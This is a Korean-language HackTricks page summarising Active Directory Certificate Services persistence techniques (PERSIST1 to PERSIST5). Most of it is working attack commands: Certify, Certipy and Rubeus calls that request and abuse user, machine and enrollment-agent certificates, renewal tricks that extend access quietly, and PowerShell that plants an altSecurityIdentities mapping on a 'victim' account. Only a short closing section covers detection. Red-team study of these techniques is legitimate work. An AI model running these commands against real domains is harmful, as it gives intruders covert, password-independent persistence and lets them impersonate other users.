AD CS 계정 지속성
Tip
AWS Hacking을 배우고 연습하세요:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking을 배우고 연습하세요:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking을 배우고 연습하세요:HackTricks Training Azure Red Team Expert (AzRTE)
평가 트랙 (ARTA/GRTA/AzRTA)과 Linux Hacking Expert (LHE)를 보려면 전체 HackTricks Training 카탈로그를 둘러보세요.
HackTricks 지원하기
- subscription plans를 확인하세요!
- 💬 Discord group, telegram group에 참여하고, X/Twitter에서 @hacktricks_live를 팔로우하거나, LinkedIn page와 YouTube channel을 확인하세요.
- HackTricks 및 HackTricks Cloud github repos에 PR을 제출해 hacking tricks를 공유하세요.
이 문서는 https://specterops.io/assets/resources/Certified_Pre-Owned.pdf 의 훌륭한 연구에 대한 계정 지속성 챕터들의 간략한 요약입니다
인증서를 이용한 활성 사용자 자격 증명 탈취 이해 – PERSIST1
사용자가 도메인 인증을 허용하는 인증서를 요청할 수 있는 시나리오에서는, 공격자가 이 인증서를 요청해 탈취함으로써 네트워크에서 지속성을 유지할 기회를 얻습니다. 기본적으로 Active Directory의 User 템플릿은 이러한 요청을 허용하지만, 경우에 따라 비활성화되어 있을 수 있습니다.
Certify 또는 Certipy를 사용하면 클라이언트 인증을 허용하는 활성화된 템플릿을 검색한 다음 하나를 요청할 수 있습니다:
# Enumerate client-auth capable templates
Certify.exe find /clientauth
# Request a user cert from an Enterprise CA (current user context)
Certify.exe request /ca:CA-SERVER\CA-NAME /template:User
# Using Certipy (RPC/DCOM/WebEnrollment supported). Saves a PFX by default
certipy req -u 'john@corp.local' -p 'Passw0rd!' -ca 'CA-SERVER\CA-NAME' -template 'User' -out user.pfx
certificate의 힘은 certificate가 유효한 한, password가 변경되더라도 해당 certificate에 속한 user로 authenticate할 수 있다는 점에 있다.
PEM을 PFX로 변환하고 이를 사용해 TGT를 얻을 수 있다:
# Convert PEM returned by Certify to PFX
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
# Use certificate for PKINIT and inject the TGT
Rubeus.exe asktgt /user:john /certificate:C:\Temp\cert.pfx /password:CertPass! /ptt
# Or with Certipy
certipy auth -pfx user.pfx -dc-ip 10.0.0.10
참고: 다른 기법들(THEFT 섹션 참조)과 결합하면, 인증서 기반 인증은 LSASS를 건드리지 않고 심지어 비권한 상승 컨텍스트에서도 지속적 접근을 허용합니다.
인증서를 통한 Machine 지속성 획득 - PERSIST2
공격자가 호스트에서 권한이 상승된 상태라면, 기본 Machine 템플릿을 사용하여 침해된 시스템의 머신 계정에 대한 인증서를 등록(enroll)할 수 있습니다. 머신으로 인증하면 로컬 서비스에 대해 S4U2Self가 가능해지며 호스트에 대한 지속적인 영속성을 제공할 수 있습니다:
# Request a machine certificate as SYSTEM
Certify.exe request /ca:dc.theshire.local/theshire-DC-CA /template:Machine /machine
# Authenticate as the machine using the issued PFX
Rubeus.exe asktgt /user:HOSTNAME$ /certificate:C:\Temp\host.pfx /password:Passw0rd! /ptt
인증서 갱신을 통한 지속성 확장 - PERSIST3
인증서 템플릿의 유효 기간 및 갱신 기간을 악용하면 공격자는 장기간 접근 권한을 유지할 수 있습니다. 이미 발급된 인증서와 그 개인 키를 보유하고 있다면, 만료 전에 이를 갱신하여 원래 주체와 연결된 추가 요청 흔적을 남기지 않고 새롭고 장기적인 자격 증명을 얻을 수 있습니다.
# Renewal with Certipy (works with RPC/DCOM/WebEnrollment)
# Provide the existing PFX and target the same CA/template when possible
certipy req -u 'john@corp.local' -p 'Passw0rd!' -ca 'CA-SERVER\CA-NAME' \
-template 'User' -pfx user_old.pfx -renew -out user_renewed.pfx
# Native Windows renewal with certreq
# (use the serial/thumbprint of the cert to renew; reusekeys preserves the keypair)
certreq -enroll -user -cert <SerialOrID> renew [reusekeys]
운영 팁: 공격자가 보유한 PFX 파일의 유효 기간을 추적하고 조기에 갱신하세요. 갱신은 또한 업데이트된 인증서에 최신 SID 매핑 확장을 포함시켜 더 엄격한 DC 매핑 규칙 하에서도 계속 사용할 수 있게 할 수 있습니다(다음 섹션 참조).
명시적 인증서 매핑 심기 (altSecurityIdentities) – PERSIST4
대상 계정의 altSecurityIdentities 속성에 쓸 수 있다면, 공격자가 제어하는 인증서를 해당 계정에 명시적으로 매핑할 수 있습니다. 이 매핑은 비밀번호 변경에도 유지되며, 강력한 매핑 형식을 사용할 경우 최신 DC 강제 정책 하에서도 계속 작동합니다.
High-level flow:
- 자신이 제어하는 client-auth 인증서를 얻거나 발급합니다(예: 스스로
User템플릿을 enroll). - 인증서에서 강력한 식별자(Issuer+Serial, SKI, 또는 SHA1-PublicKey)를 추출합니다.
- 해당 식별자를 사용해 피해자 주체의
altSecurityIdentities에 명시적 매핑을 추가합니다. - 자신의 인증서로 인증하면 DC가 명시적 매핑을 통해 이를 피해자 계정으로 매핑합니다.
예제 (PowerShell): 강력한 Issuer+Serial 매핑 사용:
# Example values - reverse the issuer DN and serial as required by AD mapping format
$Issuer = 'DC=corp,DC=local,CN=CORP-DC-CA'
$SerialR = '1200000000AC11000000002B' # reversed byte order of the serial
$Map = "X509:<I>$Issuer<SR>$SerialR"
# Add mapping to victim. Requires rights to write altSecurityIdentities on the object
Set-ADUser -Identity 'victim' -Add @{altSecurityIdentities=$Map}
그런 다음 PFX로 인증하세요. Certipy는 TGT를 직접 획득합니다:
certipy auth -pfx attacker_user.pfx -dc-ip 10.0.0.10
# If PKINIT is unavailable on the DC, reuse the same persisted cert via Schannel/LDAPS
certipy auth -pfx attacker_user.pfx -dc-ip 10.0.0.10 -ldap-shell
강력한 altSecurityIdentities 매핑 구축
실무에서는 Issuer+Serial 및 SKI 매핑이 공격자가 보유한 인증서로부터 구축하기 가장 쉬운 강력한 형식입니다. 이는 February 11, 2025 이후 DCs가 기본적으로 Full Enforcement로 전환되어 약한 매핑이 더 이상 신뢰할 수 없게 되기 때문에 중요합니다.
# Extract issuer, serial and SKI from a cert/PFX
openssl pkcs12 -in attacker_user.pfx -clcerts -nokeys -out attacker_user.crt
openssl x509 -in attacker_user.crt -noout -issuer -serial -ext subjectKeyIdentifier
# Example strong SKI mapping for a user or computer object
$Map = 'X509:<SKI>9C4D7E8A1B2C3D4E5F60718293A4B5C6D7E8F901'
Set-ADUser -Identity 'victim' -Add @{altSecurityIdentities=$Map}
# Set-ADComputer -Identity 'WS01$' -Add @{altSecurityIdentities=$Map}
참고
- 강력한 매핑 타입만 사용:
X509IssuerSerialNumber,X509SKI, 또는X509SHA1PublicKey. 약한 형식(Subject/Issuer, Subject-only, RFC822 email)은 더 이상 권장되지 않으며 DC 정책에서 차단될 수 있다. - 매핑은 사용자 및 컴퓨터 객체 모두에 적용되므로, 컴퓨터 계정의
altSecurityIdentities에 대한 쓰기 권한만 있어도 해당 머신으로서 영속할 수 있다. - 인증서 체인은 DC가 신뢰하는 루트까지 구성되어야 한다. NTAuth의 Enterprise CAs는 일반적으로 신뢰되며, 일부 환경에서는 public CAs도 신뢰한다.
- DC가 Smart Card Logon EKU가 없거나
KDC_ERR_PADATA_TYPE_NOSUPP를 반환하여 PKINIT가 실패하더라도 Schannel 인증은 영속성에 여전히 유용하다.
약한 명시적 매핑과 공격 경로에 대한 자세한 내용은 다음을 참조하십시오:
Enrollment Agent을 통한 영속성 – PERSIST5
유효한 Certificate Request Agent/Enrollment Agent certificate를 확보하면, 사용자들을 대신해 언제든지 새로운 로그온 가능한 인증서를 발행(mint)할 수 있고 에이전트 PFX를 오프라인에 보관하여 영속성 토큰으로 유지할 수 있다. 악용 워크플로우:
# Request an Enrollment Agent cert (requires template rights)
Certify.exe request /ca:CA-SERVER\CA-NAME /template:"Certificate Request Agent"
# Mint a user cert on behalf of another principal using the agent PFX
Certify.exe request /ca:CA-SERVER\CA-NAME /template:User \
/onbehalfof:CORP\\victim /enrollcert:C:\Temp\agent.pfx /enrollcertpw:AgentPfxPass
# Or with Certipy
certipy req -u 'john@corp.local' -p 'Passw0rd!' -ca 'CA-SERVER\CA-NAME' \
-template 'User' -on-behalf-of 'CORP/victim' -pfx agent.pfx -out victim_onbo.pfx
이 persistence를 제거하려면 에이전트 인증서 또는 템플릿 권한의 폐기(revocation)가 필요합니다.
운영 노트
- 최신
Certipy버전은-on-behalf-of및-renew를 모두 지원하므로, Enrollment Agent PFX를 보유한 공격자는 원래 대상 계정을 다시 건드리지 않고도 leaf 인증서를 발급하고 이후 갱신할 수 있습니다. - PKINIT 기반 TGT 검색이 불가능한 경우에도, 생성된 on-behalf-of 인증서는
certipy auth -pfx victim_onbo.pfx -dc-ip 10.0.0.10 -ldap-shell와 같이 Schannel 인증에 여전히 사용할 수 있습니다.
2025 Strong Certificate Mapping Enforcement: Persistence에 미치는 영향
Microsoft KB5014754는 도메인 컨트롤러에 Strong Certificate Mapping Enforcement를 도입했습니다. 2025년 2월 11일 이후로 DC는 기본적으로 Full Enforcement 모드로 설정되어 약하거나 모호한 매핑을 거부합니다. 실무적 영향:
- Pre-2022 인증서 중 SID mapping extension이 없는 경우 DC가 Full Enforcement일 때 암시적 매핑이 실패할 수 있습니다. 공격자는 AD CS를 통해 인증서를 갱신( SID 확장을 얻기 위해)하거나
altSecurityIdentities에 강한 명시적 매핑(PERSIST4)을 심어 접근을 유지할 수 있습니다. - Issuer+Serial, SKI, SHA1-PublicKey 같은 강한 형식을 사용하는 명시적 매핑은 계속 작동합니다. Issuer/Subject, Subject-only, RFC822 같은 약한 형식은 차단될 수 있으므로 persistence 용도로 사용을 피해야 합니다.
관리자는 다음을 모니터링하고 경고해야 합니다:
altSecurityIdentities의 변경과 Enrollment Agent 및 User 인증서의 발급/갱신- on-behalf-of 요청 및 비정상적인 갱신 패턴에 대한 CA 발급 로그
참고자료
- Microsoft. KB5014754: Certificate-based authentication changes on Windows domain controllers (enforcement timeline and strong mappings). https://support.microsoft.com/en-au/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16
- SpecterOps. ADCS ESC14 Abuse Technique (explicit
altSecurityIdentitiesabuse on user/computer objects). https://specterops.io/blog/2024/02/28/adcs-esc14-abuse-technique/ - Certipy Wiki – Command Reference (
req -renew,auth,shadow). https://github.com/ly4k/Certipy/wiki/08-%E2%80%90-Command-Reference - Almond Offensive Security. Authenticating with certificates when PKINIT is not supported. https://offsec.almond.consulting/authenticating-with-certificates-when-pkinit-is-not-supported.html
Tip
AWS Hacking을 배우고 연습하세요:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking을 배우고 연습하세요:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking을 배우고 연습하세요:HackTricks Training Azure Red Team Expert (AzRTE)
평가 트랙 (ARTA/GRTA/AzRTA)과 Linux Hacking Expert (LHE)를 보려면 전체 HackTricks Training 카탈로그를 둘러보세요.
HackTricks 지원하기
- subscription plans를 확인하세요!
- 💬 Discord group, telegram group에 참여하고, X/Twitter에서 @hacktricks_live를 팔로우하거나, LinkedIn page와 YouTube channel을 확인하세요.
- HackTricks 및 HackTricks Cloud github repos에 PR을 제출해 hacking tricks를 공유하세요.


